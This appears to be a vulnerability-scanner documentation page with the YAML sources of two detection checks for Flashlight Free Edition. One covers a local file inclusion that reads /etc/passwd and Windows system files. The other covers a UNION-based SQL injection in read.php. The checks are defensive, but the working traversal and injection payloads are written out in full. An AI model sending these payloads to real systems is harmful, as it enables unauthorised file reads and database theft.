Flashlight — 2 vulnerability checks
noctis ships 2 vulnerability checks for Flashlight, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Flashlight Free Edition admin.php Local File Inclusion
| CVE | CVE-2009-4205 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/flashlight/CVE-2009-4205.yaml |
Flashlight Free Edition 1.0 passes the action parameter of admin.php to include("admin/" . action . ".php") without any check. On PHP older than 5.3.4 with magic_quotes_gpc disabled, a NUL byte drops the ".php" suffix and "../" sequences include any file the web server user can read; a file that holds PHP code is run.
This check requests admin.php under the usual install folders (/flash, /flashlight, /Flashlight, the web root) with action set to a ../ sequence ending in etc/passwd and a NUL byte and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the inclusion. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/admin.php?action=../../../../../../../../../../etc/passwd%00 - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin.php?action=../../../../../../../../../../windows/win.ini%00 - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/admin.php?action=../../../../../../../../../../boot.ini%00 - Checks
bootini_r.bodyfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin.php?action={{ctrl_path}}%00 - Checks
ctrl_r.bodyfor(?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support… - Checks
lin_prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: Flashlight Free Edition admin.php Local File Inclusion (CVE-2009-4205) - Checks
win_filefor^(windows/win\.ini|boot\.ini)$→ finding QoD 75: Flashlight Free Edition admin.php Local File Inclusion (CVE-2009-4205)
References:
Feed source — tests/vulnerabilities/flashlight/CVE-2009-4205.yaml
# Flashlight Free Edition admin.php 'action' local file inclusion — CVE-2009-4205
#
# Flashlight Free Edition 1.0 (ringsworld.com PHP messaging script) runs
# $inc = $_GET['action']; include ("admin/".$inc.".php");
# in admin.php (advisory: exploit-db 8856, PoC
# admin.php?action=../../../../../../../../etc/passwd%00). On PHP < 5.3.4 with
# magic_quotes_gpc off, the NUL byte drops the ".php" suffix, so "../" sequences
# include any file the web server user can read; a file holding PHP code runs.
#
# Detection (benign, read-only): GET
# <install dir>/admin.php?action=../../../../../../../../../../etc/passwd%00
# and match the CONTENT of /etc/passwd; when the page answers but no passwd
# line comes back, the Windows files windows/win.ini, then boot.ini. QoD 75
# (response analysis). include() prints a file without PHP tags as-is.
# http_request sends the %00 and the "../" of the query string verbatim.
#
# Better than the source NASL:
# - the NASL only compares a detected version string with "1.0"
# (version-only, no request to admin.php); this feed proves the inclusion,
# so it reports any build that still has the flaw on a PHP that allows it,
# and nothing on a fixed build or a PHP that rejects the NUL byte;
# - a control request (same parameter, a path in an absent random directory
# that still ends with the file that hit) must come back WITHOUT any of
# these files; a blanket responder or a honeypot keying a fake file on the
# path suffix is not reported (fail-closed: no control reply → no finding);
# - the account name (unless "root"), password field and gecos of the uid-0
# line are redacted before they reach the finding.
#
# CVSS: NVD v3.1 9.8 (v2 7.5).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_flashlight_sql_inj_n_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801075, GPL-2.0-only). CVE-2009-4204 (read.php id
# SQL injection), the other CVE of that NVT, is covered by CVE-2009-4204.yaml.
uid: d3b2f166-a6e5-45b3-ba44-78c14b8b75fa
name: "Flashlight Free Edition admin.php Local File Inclusion (CVE-2009-4205)"
description: |
Flashlight Free Edition 1.0 passes the action parameter of admin.php to
include("admin/" . action . ".php") without any check. On PHP older than
5.3.4 with magic_quotes_gpc disabled, a NUL byte drops the ".php" suffix and
"../" sequences include any file the web server user can read; a file that
holds PHP code is run.
This check requests admin.php under the usual install folders (/flash,
/flashlight, /Flashlight, the web root) with action set to a ../ sequence
ending in etc/passwd and a NUL byte and, when no passwd content comes back,
windows/win.ini and then boot.ini. The content of the file in the reply
confirms the inclusion. A control request for an absent random file through
the same parameter must not return any of these files, so a server that
serves the same content on every request is not reported. Only
world-readable system files are read. The account name (unless root),
password field and gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2009-4205]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [flashlight, ringsworld, php, lfi, local-file-inclusion, directory-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4205"
- "https://www.exploit-db.com/exploits/8856"
# OpenVAS/Greenbone NASL 2009/gb_flashlight_sql_inj_n_dir_trav_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per install folder.
# Each pass resets the values it reads, so nothing is left over.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/flash", "/flashlight", "/Flashlight", ""]
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/admin.php?action=../../../../../../../../../../etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
if passwd_m.captures[0] == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
# page answered (200) and the Linux read gave nothing ───────────────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/admin.php?action=../../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status == 200'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status == 200'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/admin.php?action=../../../../../../../../../../boot.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent path sits in a random missing directory but still ENDS with
# the file that hit (etc/passwd, windows/win.ini or boot.ini), so a honeypot
# that keys a fake file on that name or path suffix answers it too.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{dir}}/admin.php?action={{ctrl_path}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Flashlight Free Edition admin.php Local File Inclusion (CVE-2009-4205)"
description: "An unauthenticated request to admin.php with action set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. admin.php passes action to include(), so the same flaw reads any file the web server user can read and runs any local file holding PHP code (an uploaded file or a poisoned log) as code."
remediation: "No fixed release of Flashlight Free Edition is known: remove the application, or make admin.php accept only a fixed list of action names, and run PHP 5.3.4 or later, which refuses file paths holding a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/admin.php?action=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Flashlight Free Edition admin.php Local File Inclusion (CVE-2009-4205)"
description: "An unauthenticated request to admin.php with action set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. admin.php passes action to include(), so the same flaw reads any file the web server user can read and runs any local file holding PHP code (an uploaded file or a poisoned log) as code."
remediation: "No fixed release of Flashlight Free Edition is known: remove the application, or make admin.php accept only a fixed list of action names, and run PHP 5.3.4 or later, which refuses file paths holding a NUL byte."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/admin.php?action=../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
stop: trueFlashlight Free Edition read.php SQL Injection
| CVE | CVE-2009-4204 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/flashlight/CVE-2009-4204.yaml |
Flashlight Free Edition 1.0 puts the id parameter of read.php, between single quotes, into the SQL query that loads a message and prints the row it gets back, allowing unauthenticated SQL injection (an attacker can read the whole database, user passwords included).
This check requests read.php under the web root and the usual install folders (/flash, /flashlight, /Flashlight) with an id that closes the quote and adds a 9-column UNION SELECT of an expression multiplying two random numbers, followed by an SQL comment. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table is read and nothing is written. Servers running PHP with magic_quotes_gpc enabled escape the quote and are not exploitable this way.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/read.php?id={{sc.q}} - Parses / computes the next value with a Rhai script
- Checks
hitfor^/→ finding QoD 97: Flashlight Free Edition read.php SQL Injection (CVE-2009-4204)
References:
Feed source — tests/vulnerabilities/flashlight/CVE-2009-4204.yaml
# Flashlight Free Edition read.php 'id' SQL injection — CVE-2009-4204
#
# Flashlight Free Edition 1.0 (ringsworld.com PHP messaging script) builds
# SELECT * FROM inbox WHERE msg_id='$id' AND msg_to='$user_id'
# from the raw id parameter of read.php and prints the message row it gets back
# (advisory: exploit-db 8856, PoC read.php?id=1'+UNION+ALL+SELECT+1,…,9+from+users--+).
#
# Detection (QoD 97): under the usual install folders, id is a quote-breaking
# 9-column UNION ALL SELECT whose every column is
# C = CONCAT(0x4e4f43544953, a*b, 0x454e44) with random a, b. The product a*b
# never appears in the request, so only an SQL engine that evaluated the
# expression can return "NOCTIS<a*b>END". No table is referenced, nothing is written.
#
# Better than the source NASL: the NASL only compares a detected version string
# with "1.0" (version-only, no request to read.php). This feed proves the
# injection itself, so it reports any build that still has the flaw and nothing
# where the id is filtered. "-- -" ends the payload so the trailing
# "AND msg_to=…" is commented out on every MySQL/MariaDB release.
#
# CVSS: NVD v3.1 9.8 (v2 7.5).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_flashlight_sql_inj_n_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801075, GPL-2.0-only). CVE-2009-4205 (admin.php
# action file inclusion), the other CVE of that NVT, is covered by CVE-2009-4205.yaml.
uid: fed3721f-e0e7-4ac2-ad68-23b51623b522
name: "Flashlight Free Edition read.php SQL Injection (CVE-2009-4204)"
description: |
Flashlight Free Edition 1.0 puts the id parameter of read.php, between single
quotes, into the SQL query that loads a message and prints the row it gets
back, allowing unauthenticated SQL injection (an attacker can read the whole
database, user passwords included).
This check requests read.php under the web root and the usual install folders
(/flash, /flashlight, /Flashlight) with an id that closes the quote and adds
a 9-column UNION SELECT of an expression multiplying two random numbers,
followed by an SQL comment. The vulnerability is confirmed when the page
returns the product computed by the database, which never appears in the
request. No table is read and nothing is written. Servers running PHP with
magic_quotes_gpc enabled escape the quote and are not exploitable this way.
cves: [CVE-2009-4204]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [flashlight, ringsworld, sqli, union-based, php, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4204"
- "https://www.exploit-db.com/exploits/8856"
# OpenVAS/Greenbone NASL 2009/gb_flashlight_sql_inj_n_dir_trav_vuln.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected marker and the encoded payload ──────────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
let cols = c;
for i in 1..9 { cols += "," + c; }
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q: "-1%27%20UNION%20ALL%20SELECT%20" + cols + "--%20-" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit
var_value: ""
# ── Per candidate install folder (loop group) ─────────────────────────────
- id: init-resp
action: set_var
var_name: rd_resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/flash", "/flashlight", "/Flashlight", ""]
- id: read-probe
action: http_request
method: GET
path: "{{dir}}/read.php?id={{sc.q}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit == ""'
store_as: rd_resp
- id: check-read
action: script
condition: 'hit == ""'
code: |
let body = if type_of(rd_resp.body) == "string" { rd_resp.body } else { "" };
if body.contains(sc.want) { dir + "/read.php?id=-1' UNION ALL SELECT C,C,C,C,C,C,C,C,C-- -" } else { "" }
store_as: hit
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit
pattern: "^/"
on_match:
finding:
title: "Flashlight Free Edition read.php SQL Injection (CVE-2009-4204)"
description: "An unauthenticated read.php request whose id closes the quote and adds a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: the id parameter reaches the SQL query unescaped, so an attacker can read the whole database (user passwords included)."
remediation: "No fixed release of Flashlight Free Edition is known: remove the application, or make read.php cast id to an integer (or use a prepared statement) before building the query."
confidence_delta: 0.67
qod: 97
evidence: "{{hit}} with C = CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44) returned the database-computed value {{sc.want}}"
stop: true